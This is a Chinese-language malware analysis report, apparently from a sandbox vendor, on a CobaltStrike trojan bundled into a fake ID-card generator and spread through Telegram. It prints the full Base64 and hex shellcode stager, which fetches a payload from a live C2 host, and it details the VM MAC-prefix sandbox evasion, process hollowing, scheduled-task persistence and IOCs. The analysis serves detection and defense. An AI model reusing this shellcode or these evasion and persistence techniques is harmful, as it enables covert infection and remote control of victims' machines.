一、概述
近期HVV行动,天穹沙箱分析人员持续关注沙箱样本的投递情况。在近几日的监测中,发现一个钓鱼样本被大量用户重复投递,这一高频率出现的样本岂能逃过分析人员的火眼金睛?本次分享,就和大家一起一层一层地剥开它的心。样本名为“身份证正反生成.zip”,从名称来看,这是一个灰黑产相关的软件,初步判断它是典型的HVV样本。对压缩包解压处理,得到一个命名为身份证正反生成.exe的可疑执行文件,以及一个包含大量.pyd
文件的 _internal 目录。初看解压后的内容,文件后缀名和目录格式这些特征极易误导分析人员认为这是一个PyInstaller打包的木马程序。但随着深入分析,我们发现它实际是一个CobaltStrike 木马,该样本同时具有反沙箱特征,成功规避了多家友商沙箱检测,这也激起了我们的好奇心,决定一探究竟。
二、样本基本信息
样本的基本信息如下:
- SHA1: 52BCF74F480F83592E456F54B1EFE25F45E9C05E
- 文件名:身份证正反生成.zip
- 文件类型:ZIP
- 样本家族:CobaltStrike
- 文件大小:74.6 MB
三、样本分析
1、 压缩包分析
打开分析报告,报告顶部列出了该压缩包样本的关键分析文件,点击即可查看子分析报告。在完全解压列表部分展示了样本包含的全部内容,如图1所示,状态列标注了文件分析结果,可以看到沙箱挑选了身份证正反生成.exe和几个bat脚本进行分析,自动筛选机制将挑选更具可疑性和分析价值的文件进行动态分析,极大提升了分析速度:
样本解压后的目录树结构如下,已隐藏部分目录:
身份证正反生成
└─_身份证正反生成.exe
_internal
├─asserts
│ └─fonts
├─cv2
├─idcard_generator
├─numpy
├─PIL
├─tcl
│ ├─encoding
│ ├─http1.0
│ ├─msgs
│ ├─opt0.4
│ └─tzdata
├─tcl8
│ ├─8.4
│ │ └─platform
│ ├─8.5
│ └─8.6
└─tk
├─images
├─msgs
└─ttk
2、动态行为分析
2.1、反沙箱
点击顶部的身份证正反生成.exe打开该文件的分析报告,也可点击完全解压列表中身份证正反生成.exe一行的查看报告跳转到该文件的分析报告。在动态行为类目中注意到样本执行了查询网卡信息的操作,如图2所示,这是一条非常普通的行为,不少友商沙箱在捕获该行为后就结束了,没有任何后续行为,如图3、4所示:
分析样本发现,样本通过调用GetAdaptersAddresses
函数获取MAC地址,以此检测运行环境是否是虚拟机,如图5所示:
随后检查是否存在虚拟网络适配器(VMnet
),并判断MAC地址中是否包含常见虚拟机MAC地址前缀,一旦匹配成功直接退出执行,如图6所示:
样本检查的MAC前缀如下:
- 00-05-69:Parallels Desktop
- 00-0c-29:VMware Workstation, VMware Fusion, VMware ESXi, VMware Player
- 00-50-56:VMware Workstation, VMware Fusion, VMware ESXi, VMware Player
- 00-03-ff:Microsoft Hyper-V, Virtual Server, Virtual PC
- 08-00-27:Sun xVM VirtualBox
- 52-54-00:QEMU/KVM
该样本的反沙箱手段并不高明,但仅凭检测MAC地址这一项探测行为,就成功绕过了不少沙箱。这里我们也投递了一个测试程序用于获取运行环境的MAC地址,发现上述两个友商环境的MAC地址均可匹配MAC前缀检测列表,如图7、8所示:
2.2、傀儡进程
进一步分析发现,样本创建傀儡进程注入了wlanext.exe
,可以在报告中清晰地看到样本注入Payload的完整过程,如图9所示:
报告展示内容较多,这里我们问问TQGPT,让它帮我们总结一下该样本如何实现傀儡进程
,如图10所示:
通过IDA分析,可以看到该样本使用常规手法创建傀儡进程,完整反编译代码较长,这里仅展示关键部分,如图11、12、13所示:
2.3、计划任务
继续分析,傀儡进程释放了名为wlanext.exe
的可执行文件到下载
目录,并创建一个名为MicrosoftWLanext
的计划任务,其内容为执行 c:\Windows\System32\Tasks\MicrosoftWLanext
,如图14所示:
我们将之前傀儡进程注入的Payload给dump下来,使用IDA分析可以验证此过程,如图15、16所示:
该样本设置计划任务详细信息如下:
名称 | 位置 | 创建者 | 描述 | 安全选项 | 触发器 | 操作 | 设置 |
---|---|---|---|---|---|---|---|
MicrosoftWLanext | \ | Microsoft Corporation | 使你的网卡保持工作状态。如果此任务已禁用或停止,则网卡意外崩溃时无法自动重连。 | – 只在用户登录时运行 – 使用最高权限运行 | 登录时(当任务用户登录时) | 启动程序:C:\Users\Public\Downloads\wlanext.exe | 如果任务已经运行:并行运行新实例 |
这表明该计划任务的触发时机为用户登录时,当用户登录时将以最高权限运行程序C:\Users\Public\Downloads\wlanext.exe
。
2.4、Shellcode下载与执行
依赖于天穹沙箱的自动执行计划任务功能,在检测到创建了新的计划任务后,沙箱立即执行MicrosoftWLanext
计划任务,因此C:\Users\Public\Downloads\wlanext.exe
被成功执行,报告显示其访问了C2地址:21hjgt71f[.]sharedomain.top:2086
,解析后的IP地址为:172.67.216.86:2086
,如图17所示:
由于该C2地址在国内无法访问,后续行为无法进一步触发,我们借助IDA分析其后续行为。分析结果表明,样本在与以上C2建立TCP连接后,发起GET http://21hjgt71f.sharedomain.top:2086/config.txt
下载Payload,如图18所示:
此处,我们手动下载config.txt
,其内容如下:
/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaPsgAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L2FwaS8xADgDVxkbHyPy9E2vIW6AcVBBNEgtszNOD2FZMyCd2bKsn8LuilL0tL1rdBONoY6gGOBC0LtxtUqkSRdIiIvnb0FDMnJhcLZpCABIb3N0OiAyMWhqZ3Q3MWYuc2hhcmVkb21haW4udG9wDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMCkNCgC/WBPCcXCfhzpOP+onL768/C1rjsrOXFCUiqQfsLvSHEVg7fqGvz23l/zTfzlUAiQL8o+48jX0F/Bs7mAhsfKYNTUP+AaYznRPxkujDt0oe9oO7RoT/i4E4BSqN7S1vkL6dx68nv4gC2tdcAfMQxMvZYusbXt859HCBhhwzycn1i1jVXW2i2j6fFgOeKp2XF+yZZ4qKQAWpAYfeI/F+CZLRpYaBgoGmOw2nSzhRmt3ojs2rzWIoQV9LqK/y6gD5e8AaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zIxaGpndDcxZi5zaGFyZWRvbWFpbi50b3AAAAGGoA==
这是一段Base64编码的Payload,解码后以16进制查看,其头部FC E8
是典型的x86 Shellcode Stager
特征,显然是一个CobaltStrike的Stager:
fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6954684c772607ffd5e80000000031ff5757575757683a5679a7ffd5e9a40000005b31c951516a03515168fb20000053506857899fc6ffd550e98c0000005b31d252680032c08452525253525068eb552e3bffd589c683c350688033000089e06a04506a1f566875469e86ffd55f31ff57576aff5356682d06187bffd585c00f84ca01000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff576a0751565068b757e00bffd5bf002f000039c775075850e97bffffff31ffe991010000e9c9010000e86fffffff2f6170692f3100380357191b1f23f2f44daf216e8071504134482db3334e0f615933209dd9b2ac9fc2ee8a52f4b4bd6b74138da18ea018e042d0bb71b54aa4491748888be76f414332726170b6690800486f73743a203231686a67743731662e7368617265646f6d61696e2e746f700d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d53494520392e303b2057696e646f7773204e5420362e303b2054726964656e742f352e30290d0a00bf5813c271709f873a4e3fea272fbebcfc2d6b8ecace5c50948aa41fb0bbd21c4560edfa86bf3db797fcd37f395402240bf28fb8f235f417f06cee6021b1f29835350ff80698ce744fc64ba30edd287bda0eed1a13fe2e04e014aa37b4b5be42fa771ebc9efe200b6b5d7007cc43132f658bac6d7b7ce7d1c2061870cf2727d62d635575b68b68fa7c580e78aa765c5fb2659e2a290016a4061f788fc5f8264b46961a060a0698ec369d2ce1466b77a23b36af3588a1057d2ea2bfcba803e5ef0068f0b5a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e889fdffff3231686a67743731662e7368617265646f6d61696e2e746f7000000186a0
进一步分析,我们拿到了Stager下载的Beacon,如图19所示:
我们将Beacon投入天穹沙箱,成功运行并提取到了威胁配置信息,如图20所示:
天穹沙箱支持Shellcode自动分析,检测到Shellcode时会自动加载并分析,因此在动态行为中可以看到其连接CobaltStrike C2的行为,如图21所示:
2.5、后续行为
以上分析表明,样本并不是PyInstaller样本,但却携带了一个与PyInstaller相关的目录,那么这个目录的作用到底是什么呢?我们回到身份证正反生成.exe
文件,继续分析后续行为。
查看报告发现,样本释放了同名可执行文件到TEMP
目录,并将其启动, 如图22、23所示:
使用IDA进行验证,样本将_internal
目录拷贝值为%TEMP%
的目录,同时解密自身数据并写入到%TEMP%/身份证正反生成.exe
,之后运行临时目录下的身份证正反生成.exe
,如图24所示:
使用分析工具查看,释放的同名可执行文件为PyInstaller打包文件,如图25所示,_internal目录为其依赖。
样本将释放的同名可执行文件启动后,的确是一个用于生成身份证正反面的程序,桌面弹出了生成身份证照片的窗口,如图26所示,该窗体使用GUI框架TK
库编写,还能看到Telegram机器人:@ekvv0s_bot
:
通过VNC交互验证软件功能,选择一张测试证件照,点击生成,确实能够生成身份证正反面照片,且拟真度较高,如图27所示,这显然是一个黑产软件。
据此分析,该木马可以被判定为一种伪装成灰黑产的恶意软件,它巧妙地利用Telegram平台进行传播。该样本极有可能是将自身捆绑到原灰黑产软件之中,借免费使用等幌子在Telegram上广泛散布,诱骗用户点击执行。一旦恶意操作得逞,该样本会巧妙地将原始软件释放至系统的临时文件夹(TEMP目录)并执行,以确保用户在日常使用中不易察觉,从而实现了对受害者设备的隐蔽感染。
四、IOC
恶意文件(SHA1)
52BCF74F480F83592E456F54B1EFE25F45E9C05E 身份证身份证正反生成.zip
C249B9307E68A9A0C1D5C2D4CDF24C14B9CD9CA8 身份证身份证正反生成.exe(原始)
E700DA751C84F694F774E86006C7414E2E8B09B1 身份证身份证正反生成.exe(释放到临时目录)
FB522ACD43DE0B84BEFA7F1DEFF7FD19E17225D1 wlanext.exe(释放到下载目录)
985D9DFDB42ACCAB741C9CA1E7ED929BA4FB2B01 傀儡进程注入Payload
A889173A7FB2F4C792A85FD1A460E573AF087AFE config.txt
B70524219226703FAF27119954F90C88600215CE CobaltStrike Stager
3AD9A73B79FDC5F08CEB11663FB4EEB42B97EE98 CobaltStrike Beacon
恶意链接
http[:]//21hjgt71f.sharedomain.top:2086/config.txt config.txt下载链接
https[:]//21hjgt71f.sharedomain.top:8443/api/1 CobaltStrike Stager C2
https[:]//21hjgt71f.sharedomain.top:8443/api/3 CobaltStrike Beacon C2
沙箱报告
样本分析报告:天穹沙箱分析报告 【公网访问】
Beacon分析报告:天穹沙箱分析报告 【公网访问】
五、 技术支持与反馈
星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。
天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。
天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。